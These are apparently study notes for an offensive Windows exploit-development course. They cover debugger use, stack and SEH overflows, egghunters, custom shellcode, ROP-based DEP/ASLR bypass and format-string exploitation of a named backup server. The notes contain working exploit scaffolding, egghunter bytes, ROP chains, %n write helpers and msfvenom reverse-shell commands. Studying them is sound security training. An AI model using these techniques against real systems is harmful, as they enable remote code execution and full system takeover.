OSED Notes
Compiled study notes for Offensive Security's EXP-301 (OSED) course. Everything is organized for quick reference during lab work and exam prep — commands first, theory where it matters.
x86 Architecture Quick Reference
Registers
| Register | Role |
|---|---|
| EAX | Accumulator — arithmetic, return values |
| EBX | Base pointer for memory addresses |
| ECX | Counter — loops, shifts, rotations |
| EDX | Data — I/O, multiplication, division |
| ESI | Source index — string operations |
| EDI | Destination index — string operations |
| ESP | Stack pointer — top of current stack frame |
| EBP | Base pointer — base of current stack frame |
| EIP | Instruction pointer — address of next instruction |
Windows Process Memory Layout (x86)
0x7FFFFFFF <- top of user space
[stack] <- grows downward
[heap] <- grows upward
[BSS] <- uninitialised globals
[data] <- initialised globals
[text] <- executable code
0x00000000 <- bottom
Stack Frame Mechanics
When a function is called:
- Arguments pushed right-to-left (cdecl) or placed in registers (fastcall)
CALLpushes return address (EIP + size of CALL) onto stack- Callee does
PUSH EBP/MOV EBP, ESPto save/set frame pointer - Local variables allocated by
SUB ESP, N - On return:
MOV ESP, EBP/POP EBP/RET
Volatile registers (caller-saved): EAX, ECX, EDX — shellcode can freely use these.
WinDbg Fundamentals
Attaching and Navigating
# Attach to process: File > Attach to a Process (or via command line)
windbg.exe -p <PID>
# Reload symbols
.reload /f
# List modules
lm
lm m notepad
lm m kernel32
# Resume execution
g
# Step over / into
p
t
# Run until return
pt
# Break (Ctrl+Break or Debug > Break)
Inspecting Registers and Memory
# Show all registers
r
# Show specific register
r eip
r esp
# Disassemble from EIP
u eip
u eip L10 # 10 instructions
# Disassemble a function
u kernel32!GetCurrentThread
# Display memory as bytes / words / dwords / qwords / chars
db esp
dw esp
dd esp
dq esp
dc KERNELBASE # combined hex + ASCII
# Display with length limit
dd esp L4 # 4 dwords
db esp L20 # 32 bytes
# Pointer dereference
dd poi(esp) # same as dd [esp]
# Display a string
da <addr> # ASCII
du <addr> # Unicode
# Display structure
dt ntdll!_TEB
dt nt!_TEB @$teb
dt -r ntdll!_TEB @$teb # recursive, with values
dt ntdll!_TEB @$teb ThreadLocalStoragePointer
# Get size of structure
?? sizeof(ntdll!_TEB)
Writing Memory
# Write dword to address
ed <addr> <value>
# Write bytes
eb <addr> <byte> <byte> ...
Breakpoints
# Software breakpoint
bp kernel32!CreateFileW
bp 0xDEADBEEF
# List breakpoints
bl
# Disable / enable / clear
bd 0 # disable bp 0
be 0 # enable bp 0
bc 0 # clear bp 0
bc * # clear all
# Run until address
g <addr>
# Conditional breakpoint (break if EAX == 0)
bp kernel32!CreateFileW ".if @eax == 0 {} .else {gc}"
# One-shot breakpoint
ba e1 <addr> # hardware execute breakpoint
Exception Handling in WinDbg
# SEH chain
!exchain
# Pass exception to application (first/second chance)
gh # handle exception, continue
gn # not handled, pass to next handler
Useful Searches
# Search for byte pattern in memory
s -b 0x0 L?0x7fffffff <pattern>
# Search for string
s -a <start> L<len> "string"
s -u <start> L<len> "unicode"
# Search for pointer value
s -d 0x0 L?0x7fffffff <addr>
Stack Display Tips
# Display stack with symbol resolution
dps esp L20
# Display stack around crash
dds esp - 10 L8
# x command — search symbols
x kernel32!*File*
x ntdll!*
Stack Overflow Exploitation
Exploitation Flow
1. Crash the target (send oversized input)
2. Find EIP offset (cyclic pattern)
3. Verify EIP control
4. Locate shellcode space (check ESP)
5. Find JMP ESP (or equivalent) gadget
6. Detect bad characters
7. Generate shellcode (msfvenom)
8. Deliver final exploit
Step 1: Initial Crash PoC
#!/usr/bin/env python3
import socket, sys
server = sys.argv[1]
port = 80
buf = b"POST /login HTTP/1.1\r\n"
buf += b"Host: " + server.encode() + b"\r\n"
buf += b"Content-Type: application/x-www-form-urlencoded\r\n"
buf += b"Content-Length: 809\r\n\r\n"
buf += b"username=" + b"A" * 800 + b"&password=A"
s = socket.socket()
s.connect((server, port))
s.send(buf)
s.close()
WinDbg confirms crash: eip=41414141
Step 2: Find EIP Offset
# Generate pattern
msf-pattern_create -l 800
# Find offset after crash shows e.g. eip=42306142
msf-pattern_offset -l 800 -q 42306142
# [*] Exact match at offset 780
Step 3: Verify EIP Control
filler = b"A" * 780 # offset to EIP
eip = b"B" * 4 # 0x42424242 — confirm overwrite
offset = b"C" * 4 # 4 bytes land at ESP
shellcode = b"D" * 716 # rest of buffer
WinDbg: eip=42424242, esp points to \x43\x43\x43\x43.
Step 4: Find JMP ESP
# Find JMP ESP (opcode FF E4) in loaded modules without ASLR
!mona jmp -r esp -m "syncbrs.exe"
!mona jmp -r esp -cpb "\x00\x0a\x0d" # exclude bad chars
# Manual search for FF E4 (JMP ESP)
s -b 0x00400000 L0x10000 \xff\xe4
Note the address (e.g., 0x10090c83). Pick one from a module without ASLR and without SafeSEH (!mona modules).
Step 5: Bad Character Detection
Send all bytes \x01 through \xff as part of the buffer, then inspect memory in WinDbg:
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18"
# ... all bytes to \xff
)
# Compare buffer in memory against expected sequence
db esp L100
Binary search: comment out half the list → if no corruption → bad chars in the commented half. Repeat.
Step 6: Generate Shellcode
# Reverse shell, excluding bad characters
msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.45.x LPORT=4444 \
-b "\x00\x0a\x0d" \
-f python -v shellcode
# Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.45.x LPORT=4444 \
-b "\x00\x0a\x0d" \
-f python -v shellcode
Step 7: Final Exploit Structure
filler = b"A" * 780
eip = b"\x83\x0c\x09\x10" # JMP ESP — little-endian
offset = b"C" * 4
nop_sled = b"\x90" * 16 # optional breathing room
shellcode = (b"\xfc\xe8\x82...") # msfvenom output
payload = filler + eip + offset + nop_sled + shellcode
SEH Overflow Exploitation
What is SEH
Structured Exception Handling is a Windows mechanism for handling unexpected events. Each thread has a linked list of exception registration records stored on the stack, pointed to by FS:[0].
_EXCEPTION_REGISTRATION_RECORD
+0x000 Next → pointer to next record
+0x004 Handler → pointer to exception handler function
When an exception fires, Windows walks the chain calling each Handler until one returns ExceptionContinueExecution.
SEH Overwrite Goal
Overwrite the SEH record on the stack so that:
Next(nSEH) = short jump over the handler →\xeb\x06\x90\x90Handler(SEH) = address ofPOP POP RETgadget
When the exception fires → Handler is called → POP POP RET returns to nSEH → short jump → shellcode.
Exploitation Flow
1. Crash target → confirm SEH is overwritten
2. Find SEH offset (cyclic pattern + !exchain)
3. Locate POP POP RET gadget (module without SafeSEH/ASLR)
4. Build payload: filler | nSEH | SEH | shellcode
5. Check bad characters
6. Deliver exploit
Step 1: Trigger and Inspect Crash
# After first chance exception, pass to SEH
g
# Now inspect SEH chain
!exchain
# Example output:
# 0197fe6c: libpal!xxx+yyy
# 0197ffcc: 41414141 <-- overwritten with A's
# Invalid exception stack at 41414141
Step 2: Find SEH Offset
msf-pattern_create -l 1000 > pattern.txt
# send as buffer
# After crash, !exchain shows e.g. handler at 6f43376f
msf-pattern_offset -l 1000 -q 6f43376f
# [*] Exact match at offset 508
Or use !mona findmsp after sending the cyclic pattern — it reports both EIP and SEH offsets.
Step 3: Find POP POP RET
# List modules — find one without ASLR and SafeSEH
!mona modules
# Find POP R32 / POP R32 / RET in that module
!mona seh -m "libpal.dll"
!mona seh -cpb "\x00\x0a\x0d"
The gadget can use any general-purpose registers for the two POPs. Verify:
u 0x10012afb
# pop ecx
# pop ecx
# ret
Step 4: Build SEH Payload
filler = b"A" * 508
nseh = b"\xeb\x06\x90\x90" # JMP SHORT +6 bytes
seh = b"\xfb\x2a\x01\x10" # POP POP RET address (little-endian)
shellcode = b"\x90" * 16 + b"\xfc..." # NOP sled + payload
payload = filler + nseh + seh + shellcode
Layout in memory after crash:
[filler: 508 bytes]
[nSEH: EB 06 90 90] <- Next pointer, becomes our short jump
[SEH: addr of PPR] <- Handler pointer, triggers PPR
[nop sled + shellcode]
SafeSEH Bypass
SafeSEH checks that the Handler address lives in the SafeSEH table of the loaded image. To bypass:
- Use a module not compiled with /SAFESEH (
!mona modules→ SafeSEH column = False) - Use a module outside the image range (address in a heap/stack range → bypass if
ExecuteDispatchEnableis set)
SEHOP Notes
SEHOP validates that the SEH chain terminates at ntdll!FinalExceptionHandler. It is disabled by default on Windows clients, enabled on servers. When active it prevents most SEH overwrites.
IDA Pro Basics
Installation
chmod +x idafree70_linux.run
sudo ./idafree70_linux.run
# Symlink for easy access
sudo ln -s /opt/idafree-7.0/ida64 /usr/bin/ida64
ida64
Key Views
| View | Purpose |
|---|---|
| Graph view | Control flow graph of a function |
| Text view | Linear assembly listing |
| Functions window | All identified functions |
| Imports tab | Imported APIs — entry point for tracing |
| Exports tab | Exported symbols |
Rebasing to Match WinDbg
When ASLR is off or disabled for a session, the module base in WinDbg may differ from IDA's default. Sync them:
# In WinDbg, get the current base
lm m syncbrs
# start = 0x00f20000
In IDA: Edit > Segments > Rebase program → enter 0x00f20000.
Now addresses in both tools match — click an address in WinDbg, jump to it in IDA with G.
Useful IDA Shortcuts
| Key | Action |
|---|---|
G | Jump to address |
Space | Toggle graph / text view |
X | Cross-references to current symbol |
N | Rename function or variable |
F5 | Decompile (Hex-Rays, if licensed) |
; | Add comment |
Alt+B | Search for byte sequence |
Alt+I | Search for immediate value |
Ctrl+S | Save database (use Pack option) |
Syncing WinDbg + IDA Workflow
- Set breakpoint in WinDbg:
bp kernel32!CreateFileW - Run:
g - Breakpoint fires — note current EIP
- In IDA:
G→ paste EIP address - Step through in WinDbg (
p/t), follow in IDA graph - Use IDA's Imports tab to trace API calls — see argument structures
# After stepping past a call
dds esp L5 # inspect args on stack
# Check return value
r eax
Egghunters
When to Use
Use an egghunter when:
- The available buffer space after EIP control is too small for shellcode (e.g., <100 bytes)
- The full shellcode is landing elsewhere in memory (e.g., HTTP body, another buffer) at an unpredictable address
The egghunter is a small (~32 byte) stub that searches all accessible process memory for a 4-byte tag (egg) appearing twice, then executes the code that follows.
Bad Character Detection Flow
- Send all bytes
\x00through\xffin the buffer - Crash, inspect memory in WinDbg:
db <buf_start> L0x100 - Compare expected sequence — find where it deviates
- Binary search: comment out half of badchars block, re-test
- Narrow down to exact bad bytes (e.g.,
\x00\x0a\x0d\x25)
Finding the EIP Offset
# With small buffer sizes that prevent msf-pattern_create from working cleanly
# — manually bisect:
inputBuffer = b"\x41" * 130 + b"\x42" * 130
# If EIP shows 0x42424242 → offset < 130
# If EIP shows 0x41414141 → offset > 130, try 0x41*200 + 0x42*60, etc.
Egghunter Shellcode (NtAccessCheckAndAuditAlarm)
This syscall approach works in Windows 10. The egg is w00t (4 bytes), placed twice: w00tw00t.
egghunter = (
b"\x66\x81\xca\xff\x0f" # or dx, 0x0fff
b"\x42" # inc edx
b"\x52" # push edx
b"\x6a\x02" # push 0x2
b"\x58" # pop eax
b"\xcd\x2e" # int 0x2e (NtAccessCheckAndAuditAlarm syscall)
b"\x3c\x05" # cmp al, 0x5
b"\x5a" # pop edx
b"\x74\xef" # je (loop back to or dx)
b"\xb8\x77\x30\x30\x74" # mov eax, 0x74303077 ("w00t")
b"\x8b\xfa" # mov edi, edx
b"\xaf" # scasd (compare eax to [edi], advance edi)
b"\x75\xea" # jne (loop back to or dx — not found)
b"\xaf" # scasd (check second occurrence)
b"\x75\xe7" # jne (loop back)
b"\xff\xe7" # jmp edi (execute shellcode after egg)
)
Full Egghunter Exploit Structure
filler = b"A" * 253 # bytes to EIP
eip = b"\x83\x0c\x09\x10" # JMP ESP (or suitable jump-to-egghunter)
egghunter = b"\x66\x81..." # ~32 bytes
padding = b"C" * (1000 - len(filler) - 4 - len(egghunter))
# Shellcode placed in a larger buffer sent earlier or in same request
egg = b"w00t" * 2 # 8-byte tag
shellcode = egg + msfvenom_payload
# Two sends: first inject shellcode, then trigger overflow
Locating a Suitable Jump
When ESP doesn't point to your egghunter, find another register that does:
# At crash time
r # inspect all registers
dds esp L5
dds eax
# Find a register pointing near your buffer, then locate JMP <reg>
# e.g. CALL EAX = FF D0, JMP EAX = FF E0
s -b 0x00400000 L0x10000 \xff\xe0 # JMP EAX
Custom Shellcode
Goal
Write shellcode that:
- Finds
kernel32.dllbase address from PEB - Walks the export table to find
GetProcAddress - Calls
GetProcAddressto resolveWinExec/CreateProcessA/ socket APIs - Executes the desired action (e.g., reverse shell)
PEB Traversal (find kernel32)
; FS:[0x30] -> PEB
; PEB+0x0C -> PEB_LDR_DATA
; LDR+0x1C -> InInitializationOrderModuleList.Flink
; Walk list: second entry is kernel32.dll (index varies — check module name)
xor ecx, ecx
mov esi, fs:[ecx+0x30] ; ESI = PEB
mov esi, [esi+0x0C] ; ESI = PEB->Ldr
mov esi, [esi+0x1C] ; ESI = InInitOrder.Flink (first entry)
next_module:
mov ebx, [esi+0x08] ; EBX = module base address
mov edi, [esi+0x20] ; EDI = module name (UNICODE_STRING.Buffer)
mov esi, [esi] ; ESI = next entry in list
cmp [edi+0x18*2], cx ; check if name[12] == 0x00 (kernel32 is 12 chars)
jne next_module
; EBX now holds kernel32.dll base
Full Keystone Python Harness
import ctypes, struct
from keystone import *
CODE = (
" start: "
" int3 ;" # remove before deployment!
" mov ebp, esp ;"
" sub esp, 0x60 ;"
" find_kernel32: "
" xor ecx, ecx ;"
" mov esi, fs:[ecx+0x30] ;"
" mov esi, [esi+0x0c] ;"
" mov esi, [esi+0x1c] ;"
" next_module: "
" mov ebx, [esi+0x08] ;"
" mov edi, [esi+0x20] ;"
" mov esi, [esi] ;"
" cmp [edi+0x18*2], cx ;"
" jne next_module ;"
" ret "
)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40)) # PAGE_EXECUTE_READWRITE
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr),
ctypes.c_int(0), ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
Resolving GetProcAddress
After finding kernel32 base in EBX:
find_function:
; Walk PE export directory
mov eax, [ebx+0x3c] ; PE signature offset
mov edi, [ebx+eax+0x78] ; Export table RVA
add edi, ebx ; Export table VA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VA
; Hash function to find GetProcAddress without hardcoding the string
find_function_loop:
jecxz find_function_finished ; if ECX==0 not found
dec ecx
mov esi, [eax+ecx*4]
add esi, ebx ; function name VA
; call compute_hash — compare hash to target
Use a hash of the function name to avoid plaintext strings in shellcode. Pre-compute hashes for each API needed.
Null-Free Techniques
Shellcode must avoid null bytes (usually a bad char). Tricks:
; Instead of: mov eax, 0
xor eax, eax
; Instead of: push 0
xor eax, eax
push eax
; Instead of: and eax, 0xFFFFFF00 (if top byte is 0x00)
; use: sub al, al or xor al, al
; Encode addresses with XOR if they contain 0x00
Reverse Engineering for Bugs (FastBackServer)
Approach
- Install target → identify listening ports (TCPView /
netstat) - Attach WinDbg as administrator
- Set breakpoint on
recv/WSARecvto intercept incoming data - Send controlled input → trace how it's parsed
- Align WinDbg and IDA Pro to follow code flow
- Identify dangerous copy/format functions (strcpy, sprintf, vsprintf, memcpy)
Hook recv to Trace Input
bp wsock32!recv
g
When breakpoint hits:
# Stack at recv entry: [ret] [socket] [buf] [len] [flags]
dds esp L6
# See buffer pointer
dd poi(esp+8) # buf argument
# After stepping past recv (pt then p):
da poi(esp+8) # read received data as ASCII
Tracing the Call Chain
# Step over (p) vs step into (t)
# Use pt to run until return of current function
# Use dps esp L20 to see call chain on stack
# After identifying parsing function in IDA, set BP:
bp FastBackServer!<function_offset>
g
Identifying Vulnerabilities
Look for:
strcpy/strncpywithout length checksprintf/vsprintfwith user-controlled format stringmemcpywhere length comes from the packet- Functions that write user data to a fixed-size stack buffer
In IDA, cross-reference (X) these functions to find call sites with attacker-controlled arguments.
DEP Bypass — Return Oriented Programming (ROP)
What DEP Does
Data Execution Prevention marks stack and heap memory as non-executable (NX). Shellcode placed there will cause an access violation instead of executing.
ROP Concept
Chain together existing executable code snippets (gadgets) ending in RET so that each RET pops the next gadget's address off the stack. Goal: call VirtualAlloc or WriteProcessMemory to make shellcode executable, then jump to it.
Exploitation Flow
1. Gain EIP control as before
2. Identify ROP gadgets (rp++, !mona rop)
3. Build chain to call VirtualAlloc(shellcode_addr, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
4. Append shellcode after ROP chain
5. Pivot stack to ROP chain (if needed)
Finding Gadgets
# Using rp++ (preferred)
rp++ -f syncbrs.exe -r 5 > gadgets.txt
# Using mona (WinDbg)
!mona rop -m "syncbrs.exe,libspp.dll" -cpb "\x00\x0a\x0d"
# Key gadgets to look for:
# pop eax; ret
# pop ebx; ret
# xchg eax, esp; ret (stack pivot)
# push esp; pop eax; ret
# mov [eax], ebx; ret (arbitrary write)
# add eax, N; ret (adjust pointer)
# neg eax; ret (negate for negative offset trick)
# inc eax; ret
VirtualAlloc ROP Skeleton
rop_chain = b""
# 1. Get VirtualAlloc address (from IAT)
rop_chain += struct.pack("<I", 0x10015f82) # pop eax; ret
rop_chain += struct.pack("<I", 0x1004e030) # IAT pointer to VirtualAlloc
# 2. Dereference (mov eax, [eax])
rop_chain += struct.pack("<I", 0x1001eaf1) # mov eax, [eax]; ret
# 3. Place on stack for the call
rop_chain += struct.pack("<I", 0x10014f4b) # pushad; ret (puts all regs on stack)
# --- VirtualAlloc arguments on stack (set up via gadgets before pushad) ---
# lpAddress = shellcode location (dynamic — use esp tricks)
# dwSize = 0x201
# flAllocationType = 0x1000
# flProtect = 0x40 (PAGE_EXECUTE_READWRITE)
Common technique: use pushad + ret to call VirtualAlloc with all registers pre-loaded (EAX = VirtualAlloc, EBX = size, ECX = protect, EDX = type, EDI = ret-addr-after-VA, ESI = VirtualAlloc again for alignment). Requires careful gadget selection.
Negative Offset Trick (Avoiding Null Bytes)
0x00000040 (PAGE_EXECUTE_READWRITE) contains null bytes. Use negation:
# -0x40 in 32-bit = 0xFFFFFFC0 — no null bytes
rop_chain += struct.pack("<I", gadget_pop_eax)
rop_chain += struct.pack("<I", 0xFFFFFFC0) # -0x40
rop_chain += struct.pack("<I", gadget_neg_eax) # eax = 0x40
Detecting ASLR vs Non-ASLR Modules
!mona modules
# Column: ASLR, Rebase, SafeSEH, NXCompat
# Target modules with ASLR=False, Rebase=False for stable addresses
pykd / WinDbg Script for Gadget Discovery
# findrop.py — run inside WinDbg with pykd
import pykd
def find_gadgets(module_name, pattern):
mod = pykd.module(module_name)
base = mod.begin()
size = mod.end() - base
# scan for pattern
results = pykd.searchMemory(base, size, pattern)
for addr in results:
print(hex(addr))
find_gadgets("libspp", b"\xff\xe4") # JMP ESP
ASLR Bypass
What ASLR Does
Randomizes base addresses of executables and DLLs on each load. Combined with DEP, exploitation requires defeating both.
Bypass Strategies
| Method | Description |
|---|---|
| Non-ASLR module | Find module compiled without ASLR — use its fixed addresses |
| Information leak | Leak a pointer at runtime → calculate base from known offset |
| Heap spray | Fill large memory range hoping to land on shellcode (NX defeats this without DEP bypass) |
| Partial overwrite | Overwrite only low bytes of return address (if stack not ASLR'd) |
Finding the Leak
For FastBackServer: the server writes log entries. By injecting %x format specifiers via a specific opcode, stack contents are written to the log. Read the log via another opcode to recover stack addresses.
# Opcode 0x604 → triggers _EventLog (format string to log)
# Opcode 0x520 → _SFILE_ReadBlock_ (read log file back)
def send_opcode(s, opcode, data):
header = struct.pack("<I", 0xABAB1975) # magic
header += struct.pack("<I", opcode)
header += struct.pack("<I", 0x00004000)
header += struct.pack("<I", len(data))
header += struct.pack("<I", len(data))
header += struct.pack("<I", data[-1] if data else 0)
s.send(header + data)
Calculating Module Base from Leaked Pointer
# Leaked pointer: KERNELBASE!WaitForSingleObjectEx+0x13a = 0x75ab234a
# Known offset from base: 0x10c36a
kernelbase_base = leaked_ptr - 0x10c36a
# From WinDbg: lm m kernelbase → base, then
# ? WaitForSingleObjectEx+0x13a - kernelbase_base
Verify in WinDbg:
lm m kernelbase
# start end
# 75100000 75220000 kernelbase
? 75ab234a - 75100000
# Evaluate expression: 70 = 0n112 ...
Combined DEP+ASLR Bypass Flow
1. Send format string → receive log → parse leaked pointer
2. Calculate kernelbase (or target module) base
3. Compute ROP gadget addresses = module_base + known_offset
4. Build ROP chain using dynamic addresses
5. Deliver chain with shellcode
WriteProcessMemory Alternative to VirtualAlloc
# WriteProcessMemory args:
# hProcess = 0xFFFFFFFF (GetCurrentProcess pseudo-handle)
# lpBaseAddress = target RX region (e.g., .text section of module)
# lpBuffer = shellcode in RW memory
# nSize = len(shellcode)
# lpNumberOfBytesWritten = writable address
# Finds existing executable memory → copies shellcode there → jumps to it
# Avoids needing to allocate new RWX memory
Encoder Approach for Bad Characters in Shellcode
When msfvenom -e encoders aren't available (due to DEP), use a custom ROP-based decoder:
# Bad char map example:
# 0x00 → 0xff (substitute, restore at runtime)
# 0x0a → 0x06
# 0x0d → 0x05
# 0x20 → 0x1f
def encodeShellcode(sc, badChars, mapping):
encoded = bytearray(sc)
for i, b in enumerate(encoded):
if b in badChars:
encoded[i] = mapping[b]
return bytes(encoded)
# ROP chain restores each substituted byte at runtime:
# add [eax+1], bh; ret → increments memory byte
# (set bh to the delta, eax to byte address - 1)
Format String Attack — Part I: Read Primitive
How Format Strings Work
printf("%x %x %x", ...) — if no arguments are provided, printf reads values off the stack as if they were arguments. With %s, it dereferences a pointer from the stack.
Building a Remote Read Primitive (FastBackServer)
FastBackServer writes attacker-controlled data to an event log via _ml_vsnprintf. Read the log back via a separate opcode.
# Craft format string
fmt = b"w00t:" # unique header to locate output
fmt += b"%x." * 200 # leak 200 dwords from stack
# Send via opcode 0x604
send_format_string(s, fmt)
# Read log via opcode 0x520
log_data = read_log(s)
# Parse — find "w00t:" prefix, split on "."
idx = log_data.find(b"w00t:")
leaks = log_data[idx+5:].split(b".")
Finding the Right Stack Offset
# Send unique value and find its position in the leak
for start in range(0, 0x200, 4):
fmt = b"w00t:" + (b"%x." * (start // 4))
# compare leak at that offset to known value
Leaking a Code Pointer
Replace %x with %s at a specific offset where a pointer to a module lives on the stack:
# offset 0x15c below the leaked stack address holds
# KERNELBASE!WaitForSingleObjectEx+0x13a
fmt = b"w00t:"
fmt += b"%x." * offset_to_pointer
fmt += b"%s" # dereference and read memory at that address
This leaks the actual bytes at that address — with a known structure you can extract the virtual address.
Format String Attack — Part II: Write Primitive
The %n Specifier
%n writes the number of characters printed so far as an integer to the pointer argument. If the pointer is attacker-controlled, this achieves an arbitrary write.
Writing Arbitrary Values
To write value V to address A:
- Position address
Aon the stack as the argument for%n - Pad the output to exactly
Vcharacters using width specifiers (e.g.,%Ncwhere N is the count)
Writing a full DWORD requires four separate %n writes (one byte at a time) or use %hn for two-byte writes.
def writeByte(target_addr, value, current_count):
"""Returns format string fragment that writes `value` to `target_addr`."""
# value must account for current_count (bytes printed so far)
to_write = (value - current_count) % 256
if to_write == 0:
to_write = 256
fmt = ("%" + str(to_write) + "c%n").encode()
return fmt, current_count + to_write
def writeDWORD(target_addr, dword_value):
fmt = b""
count = 0
for i in range(4):
byte_val = (dword_value >> (i * 8)) & 0xFF
fragment, count = writeByte(target_addr + i, byte_val, count)
fmt += fragment
return fmt
Overwriting a Return Address
- Leak a stack address (via
%xchain — find_beginthreadex+0xf4on stack) - Calculate offset from leaked address to the target return address
- Write gadget address (e.g., stack pivot) to that location
# Leaked stack ptr at offset X in format string output
stack_ptr = int(leaks[X], 16)
# Return address is at stack_ptr + known_delta
ret_addr_location = stack_ptr + 0x62078
# Write pivot gadget there
pivot = kernelbase_base + 0xe1af4 # pop esp; ...; ret
write_payload = writeDWORD(ret_addr_location, pivot)
Stack Pivot
After overwriting the return address with pop esp; ret:
espis set to the value at top of stack- Control returns to whatever
esppoints to
Point esp at your ROP chain / shellcode in a known-writable location (e.g., psCommandBuffer).
Full SYSTEM Shell (Combined)
1. Format string read → leak stack + KERNELBASE address
2. Compute: kernelbase_base, ret_addr_location, psCommandBuffer addr
3. Place VirtualAlloc call directly in psCommandBuffer (all values known — no ROP skeleton needed)
4. Format string write → overwrite return address with stack pivot to psCommandBuffer
5. Shellcode executes as NT AUTHORITY\SYSTEM
Mona Cheatsheet
# Module info
!mona modules
# Find pattern (MSP after cyclic buffer crash)
!mona findmsp
# Find JMP ESP
!mona jmp -r esp
!mona jmp -r esp -m "module.dll" -cpb "\x00\x0a\x0d"
# Find SEH gadgets (POP POP RET)
!mona seh -m "module.dll"
!mona seh -cpb "\x00\x0a\x0d"
# Build ROP chain
!mona rop -m "module.dll" -cpb "\x00\x0a\x0d"
# Compare buffer in memory for bad chars
!mona compare -f c:\mona\badchars.bin -a <esp_value>
# Generate badchar binary
!mona bytearray -cpb "\x00\x0a\x0d"
Quick Command Index
msfvenom
# Windows x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=4444 -b "\x00\x0a\x0d" -f python -v shellcode
# Windows x86 meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -b "\x00\x0a\x0d" -f python -v shellcode
# Reverse HTTP (useful for ASLR+DEP bypass scenarios)
msfvenom -p windows/meterpreter/reverse_http LHOST=<ip> LPORT=8080 -b "\x00\x0a\x0d" -f python -v shellcode
Pattern Tools
msf-pattern_create -l 1000
msf-pattern_offset -l 1000 -q <4-byte-hex-from-EIP>
rp++ Gadget Search
rp++ -f target.exe -r 5 > gadgets.txt
grep "pop eax" gadgets.txt
grep "xchg.*esp" gadgets.txt
grep "pop ebx" gadgets.txt | grep "pop ecx" | grep "ret$"
Keystone Assembler (Python)
from keystone import Ks, KS_ARCH_X86, KS_MODE_32
import struct
def assemble(code):
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, _ = ks.asm(code)
return bytes(encoding)
opcodes = assemble("jmp esp")
print(opcodes.hex()) # ffe4
Exam Tips
- Always run WinDbg as administrator — required to attach to privileged processes
- Remove
int3from shellcode before delivery — debug breakpoints left in will crash the exploit on the exam machine - Document every gadget address and why you chose it — offsets shift if you use a different module
- Test bad characters systematically — one missed bad char will silently corrupt your shellcode
- Rebase IDA Pro to match the debugger before tracing — mismatched addresses waste time
- Keep the egghunter small — it must fit in the limited buffer space, every byte counts
- For ASLR bypass — always verify the leaked address matches expectations in WinDbg before building the chain
- Stack pivots —
xchg eax, esp; retandpop esp; retare your friends, look for them early !mona modulesis the first thing to run after attaching — find your non-ASLR, non-SafeSEH module before anything else